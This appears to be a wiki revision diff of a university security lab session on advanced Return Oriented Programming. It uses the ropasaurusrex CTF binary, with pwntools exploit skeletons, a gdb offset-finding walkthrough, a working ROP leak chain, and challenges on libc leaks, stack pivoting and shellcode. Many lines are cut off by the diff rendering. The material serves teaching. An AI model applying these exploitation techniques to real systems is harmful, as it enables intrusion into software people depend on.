session:12
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
session:11 [2017/07/02 08:14] – removed Laura-Cristina RUSE (23439) | session:12 [2020/07/20 14:34] (current) – [1. Challenge: Using ROP to Leak and Call system()] Liza-Elena BABU (78556) | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | ====== 0x0B. Return Oriented Programming (advanced) ====== | ||
+ | ===== Slides ===== | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | ===== Setup ===== | ||
+ | |||
+ | The ROPgadget version installed in the [[start|Kali virtual machine]] needs to be upgraded to work properly. Please use the command below (as '' | ||
+ | < | ||
+ | pip install --upgrade ropgadget | ||
+ | </ | ||
+ | |||
+ | In order to check if '' | ||
+ | < | ||
+ | ROPgadget --binary /bin/false | ||
+ | </ | ||
+ | |||
+ | ===== Tutorials ===== | ||
+ | |||
+ | In this lab we are going to dive deeper into ROP (//Return Oriented Programming// | ||
+ | * Intro to pwntools | ||
+ | * ROP Recap | ||
+ | * Dealing with ASLR in ROP in 2 ways | ||
+ | * Dealing with low space in the overflown buffer | ||
+ | * Dealing with bare bones executables | ||
+ | * ROP for syscalls and 64 bits | ||
+ | |||
+ | As the basis of the lab we will use a CTF challenge called **ropasaurusrex** and gradually make exploitation harder. | ||
+ | |||
+ | ==== Calling Conventions in the ROP Context ==== | ||
+ | |||
+ | As you know, the [[: | ||
+ | |||
+ | In the images below we are using the [[https:// | ||
+ | |||
+ | {{ : | ||
+ | |||
+ | Syscalls are special, the arguments are passed using the registers and **int 0x80** or the equivalent **call DWORD PTR gs:0x10** is used such that more work is needed: "pop ?; ret" gadgets are needed to load the registers with the desired values. | ||
+ | |||
+ | In the listing below you see a disassembly of the calling of a system call, with the system call in the '' | ||
+ | |||
+ | <code asm> | ||
+ | # See man 2 syscall | ||
+ | |||
+ | gdb-peda$ pdis syscall | ||
+ | Dump of assembler code for function syscall: | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | The same happens for 64 bit function calls: | ||
+ | {{ : | ||
+ | |||
+ | Syscalls on 64 bits are similar. The '' | ||
+ | |||
+ | <code asm> | ||
+ | gdb-peda$ pdis syscall | ||
+ | Dump of assembler code for function syscall: | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | |||
+ | |||
+ | ==== Intro to pwntools ==== | ||
+ | |||
+ | Writing exploits in command line using expressions such as the following is prone to errors: | ||
+ | |||
+ | <code sh> | ||
+ | echo " | ||
+ | </ | ||
+ | |||
+ | Writing the equivalent in Python is much simpler and more portable: | ||
+ | <code python> | ||
+ | gadget = 0x08042a43 | ||
+ | print " | ||
+ | </ | ||
+ | |||
+ | However, exploitation rarely requires only a static payload. ASLR usually makes the exploit developer work harder and first obtain an info leak and then readjust the payload for that specific memory layout instance. To this end, some frameworks come to your aid to make life simpler. As seen in the previous sessions, [[http:// | ||
+ | * local exploitation / remote exploitation: | ||
+ | * auto gdb attach: http:// | ||
+ | * rop gadget search / rop chain assembly | ||
+ | * shellcode generation: http:// | ||
+ | * plenty other | ||
+ | |||
+ | Without using the advanced capabilities of pwntools a common exploit skeleton would look like the following: | ||
+ | |||
+ | <code python> | ||
+ | from pwn import * | ||
+ | |||
+ | local = True | ||
+ | |||
+ | if not local: | ||
+ | HOST = " | ||
+ | PORT = 4242 | ||
+ | io = remote(HOST, | ||
+ | else: | ||
+ | io = process(" | ||
+ | |||
+ | |||
+ | |||
+ | #write exploit | ||
+ | ropchain = p32(system) + " | ||
+ | payload = " | ||
+ | |||
+ | #interact with the service | ||
+ | io.recvuntil(" | ||
+ | |||
+ | #trigger | ||
+ | io.sendline(payload) | ||
+ | |||
+ | |||
+ | #switch to interactive input from the user to control the opened shell | ||
+ | io.interactive() | ||
+ | </ | ||
+ | |||
+ | In the snippet above the following happens: | ||
+ | - connect to either a local or remote process (using TCP) | ||
+ | - create the payload | ||
+ | - interact with the process using '' | ||
+ | |||
+ | ==== Challenge 0 walkthrough ==== | ||
+ | |||
+ | Let's do a walkthrough/ | ||
+ | |||
+ | First we need to look in the binary and observe the stack buffer overflow: | ||
+ | < | ||
+ | # objdump -d -M intel ropasaurusrex1 | ||
+ | [...] | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [...] | ||
+ | </ | ||
+ | |||
+ | We could do computations based on assembly output, but we can make things easier by using a cyclic pattern and obtain the offset to EBP: | ||
+ | |||
+ | <code asm> | ||
+ | # gdb -q ./ | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ pattc 300 | ||
+ | ' | ||
+ | gdb-peda$ run | ||
+ | Starting program: / | ||
+ | AAA%AAsAABAA$AAnAACAA-AA(AADAA; | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x100 | ||
+ | EBX: 0x0 | ||
+ | ECX: 0xffffd5f0 (" | ||
+ | EDX: 0x100 | ||
+ | ESI: 0x1 | ||
+ | EDI: 0xf7fb0000 --> 0x1b3db0 | ||
+ | EBP: 0x41514141 (' | ||
+ | ESP: 0xffffd680 (" | ||
+ | EIP: 0x41416d41 (' | ||
+ | EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x41416d41 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd680 (" | ||
+ | 0004| 0xffffd684 (" | ||
+ | 0008| 0xffffd688 (" | ||
+ | 0012| 0xffffd68c (" | ||
+ | 0016| 0xffffd690 (" | ||
+ | 0020| 0xffffd694 (" | ||
+ | 0024| 0xffffd698 (" | ||
+ | 0028| 0xffffd69c (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | Stopped reason: SIGSEGV | ||
+ | 0x41416d41 in ?? () | ||
+ | gdb-peda$ patto $ebp | ||
+ | 1095844161 found at offset: 136 | ||
+ | |||
+ | gdb-peda$ searchmem " | ||
+ | Searching for ' | ||
+ | Found 23 results, display max 23 items: | ||
+ | ropasaurusrex1 : 0x8048001 --> 0x1464c45 | ||
+ | ropasaurusrex1 : 0x8049001 --> 0x1464c45 | ||
+ | libc : 0xf7dfc001 --> 0x1464c45 | ||
+ | [vdso] : 0xf7fd8001 (inc ebp) | ||
+ | [...] | ||
+ | gdb-peda$ x/s 0x8048001 | ||
+ | 0x8048001: | ||
+ | </ | ||
+ | |||
+ | We know the offset from the start of the buffer to the '' | ||
+ | |||
+ | an address of the //ELF// string ('' | ||
+ | |||
+ | Let's use pwntools to construct the payload and exploit the executable. We create the ROP chain to call '' | ||
+ | |||
+ | <code python> | ||
+ | from pwn import * | ||
+ | |||
+ | local = True | ||
+ | |||
+ | if not local: | ||
+ | HOST = " | ||
+ | PORT = 4242 | ||
+ | io = remote(HOST, | ||
+ | else: | ||
+ | io = process(" | ||
+ | |||
+ | |||
+ | # Create ROP chain. | ||
+ | |||
+ | # man 2 write: | ||
+ | # | ||
+ | |||
+ | write_plt = 0x804830c | ||
+ | fd = 1 | ||
+ | buf = 0x08048001 | ||
+ | count = 3 | ||
+ | ropchain = p32(write_plt) + " | ||
+ | |||
+ | |||
+ | # Create payload. Use junk value for EBP. | ||
+ | ebp = 0x41424344 | ||
+ | payload = " | ||
+ | |||
+ | # Trigger exploit by sending payload to standard input. | ||
+ | io.sendline(payload) | ||
+ | |||
+ | |||
+ | # Print output as hex. | ||
+ | rop_output = io.recv(3) | ||
+ | print hexdump(rop_output) | ||
+ | </ | ||
+ | |||
+ | The output is as expected: | ||
+ | <code sh> | ||
+ | [+] Started program ' | ||
+ | 00000000 | ||
+ | 00000003 | ||
+ | [*] Program ' | ||
+ | </ | ||
+ | |||
+ | |||
+ | ===== Challenges ===== | ||
+ | |||
+ | ==== 1. Challenge: Using ROP to Leak and Call system() ==== | ||
+ | |||
+ | Having completed the recap in the walkthrough above let's proceed to more advanced things. Use the '' | ||
+ | |||
+ | You can now call the functions in the binary but '' | ||
+ | |||
+ | < | ||
+ | If you have a string representation of a number you can unpack it using the '' | ||
+ | |||
+ | If you want to print a binary representation of a number you can use, in Python, for example | ||
+ | < | ||
+ | print " | ||
+ | </ | ||
+ | |||
+ | If you want to make computations in the command line (such as subtracting an address from another address) you can use, for example | ||
+ | < | ||
+ | python -c 'print hex(0x0804830c - 0x08046920)' | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | Follow the steps shown below. | ||
+ | |||
+ | First, trigger the information leak by calling the '' | ||
+ | |||
+ | <note tip> | ||
+ | You can use the GOT table storing libc addresses. | ||
+ | </ | ||
+ | |||
+ | You need to read the output from the above '' | ||
+ | |||
+ | <note tip> | ||
+ | You need to discard from the stack the '' | ||
+ | </ | ||
+ | |||
+ | Find the address of the '' | ||
+ | |||
+ | <note tip> | ||
+ | To find out the address of the '' | ||
+ | </ | ||
+ | |||
+ | /* | ||
+ | |||
+ | <note tip> | ||
+ | As an alternative, | ||
+ | < | ||
+ | root@kali: | ||
+ | linux-gate.so.1 (0xf7780000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | root@kali: | ||
+ | Reading symbols from / | ||
+ | gdb-peda$ p system | ||
+ | $1 = {<text variable, no debug info>} 0x3ab20 < | ||
+ | gdb-peda$ p read | ||
+ | $2 = {<text variable, no debug info>} 0xd7d70 < | ||
+ | gdb-peda$ p write | ||
+ | $3 = {<text variable, no debug info>} 0xd7df0 < | ||
+ | </ | ||
+ | |||
+ | Alternatively you can print addresses in GDB while investigating the '' | ||
+ | |||
+ | After the leak subtract the saved offset from it. You now have the libc base address (which should be aligned to a multiple of 0x1000). Use that address and add the other offset to compute the address of the '' | ||
+ | </ | ||
+ | |||
+ | */ | ||
+ | |||
+ | Call '' | ||
+ | |||
+ | <note tip> | ||
+ | You can't write the '' | ||
+ | |||
+ | To write an entry in the GOT table use the '' | ||
+ | |||
+ | For the actual parameter use the '' | ||
+ | </ | ||
+ | ==== 2. Challenge: Handling Low Stack Space ==== | ||
+ | |||
+ | The previous binary had the luxury of plenty of stack space to be overflown. It is often the case that we don't have enough space for a long ROP chain. Let's handle that. | ||
+ | |||
+ | For the current task, switch to the '' | ||
+ | |||
+ | Find out how much space you have in the overflow and assess the situation. | ||
+ | |||
+ | <note tip> | ||
+ | Use '' | ||
+ | </ | ||
+ | |||
+ | Now follow the steps below. | ||
+ | |||
+ | First trigger the info leak as before. | ||
+ | |||
+ | <note tip> | ||
+ | Use '' | ||
+ | </ | ||
+ | |||
+ | You can only construct a partial ropchain. A longer one won't fit. So after calling '' | ||
+ | |||
+ | <note warning> | ||
+ | Note that using '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | Find the address of '' | ||
+ | |||
+ | After calling main again you will get back to the initial situation where you can exploit the buffer overflow. | ||
+ | </ | ||
+ | |||
+ | Call '' | ||
+ | |||
+ | <note tip> | ||
+ | Use a new ropchain to call '' | ||
+ | </ | ||
+ | ==== 3. Challenge: Stack Pivoting ==== | ||
+ | |||
+ | Let's assume that '' | ||
+ | |||
+ | <note tip> | ||
+ | Read more about stack pivoting here: http:// | ||
+ | </ | ||
+ | |||
+ | Tour goal is to fill the actual ROP chain to a large enough memory area. We need a two stage exploit: | ||
+ | - In the first stage, prepare the memory area where to fill the second stage ROP chain; then fill the memory area with the second stage ROP chain. | ||
+ | - In the second stage, create the actual ROP chain and feed it to the program and profit. | ||
+ | |||
+ | Follow the steps below. | ||
+ | |||
+ | Use '' | ||
+ | |||
+ | Create a first stage payload that calls '' | ||
+ | |||
+ | <note tip> | ||
+ | At a given address in the executable you have a call to '' | ||
+ | |||
+ | The '' | ||
+ | < | ||
+ | mov esp, ebp | ||
+ | pop ebp | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | Write the actual ROP chain as a second stage payload like when we didn't have space constraints. The 2nd stage will be stored to the memory area and the stack pointer will point to that. | ||
+ | |||
+ | <note tip> | ||
+ | Pay attention to how the 2nd stage payload should look like. The '' | ||
+ | < | ||
+ | mov esp, ebp | ||
+ | pop ebp | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | /*==== 4. Challenge [Hard]: Change Memory Protection and Write Shellcode ==== | ||
+ | |||
+ | We want to exploit a more constrained environment. The constraint is to remove the '' | ||
+ | |||
+ | Go the '' | ||
+ | |||
+ | <note important> | ||
+ | Note how system calls are made, what registers need to be filled and the execution of the '' | ||
+ | </ | ||
+ | |||
+ | The idea is to change the memory protection of the data section of the executable such that it will also be executable. Then feed a shellcode to it to that now writable and executable memory are and execute the shellcode. | ||
+ | |||
+ | Follow the steps below. | ||
+ | |||
+ | Prepare for doing an '' | ||
+ | |||
+ | <note tip> | ||
+ | You can use a " | ||
+ | |||
+ | You need a proper gadget to fill the value of '' | ||
+ | </ | ||
+ | |||
+ | Call '' | ||
+ | |||
+ | <note tip> | ||
+ | This relies on calling the '' | ||
+ | </ | ||
+ | |||
+ | Read a shellcode to the now readable and executable memory area and execute it. | ||
+ | |||
+ | <note tip> | ||
+ | Use the [[http:// | ||
+ | </ | ||
+ | */ | ||
+ | |||
+ | ==== 4. Challenge [Bonus] ==== | ||
+ | |||
+ | Switch to '' | ||
+ | * First overflow the buffer and call vuln_gate. You will need to prepare registers for the 64 bit calling convention. | ||
+ | * Then overflow the second buffer and issue a syscall for **execve("/ | ||
+ | * Extra: Pop a shell. | ||
+ | |||
+ | ==== Resources: ==== | ||
+ | |||
+ | * https:// | ||
+ | * http:// | ||
+ | * https:// | ||
+ | * https:// |
session/12.1498983274.txt.gz · Last modified: by Laura-Cristina RUSE (23439)